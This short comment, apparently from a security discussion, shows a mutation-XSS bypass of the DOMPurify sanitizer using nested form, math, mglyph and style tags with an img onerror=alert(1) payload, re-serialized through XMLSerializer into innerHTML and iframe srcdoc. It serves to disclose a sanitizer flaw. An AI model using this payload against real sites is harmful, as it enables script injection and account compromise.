That's exactly what XHTML does, in XHTML document sample = `<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>` fragment

That's exactly what XHTML does, in XHTML document sample = `<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>` fragment = DOMPurify.sanitize(sample, {RETURN_DOM_FRAGMENT: true}) body = (new XMLSerializer).serializeToString(fragment) //...<style></math><img src onerror=alert(1)></style>... div.innerHTML = body div.append(fragment) iframe.srcdoc = body It renders nice </math><img src onerror=alert(1)>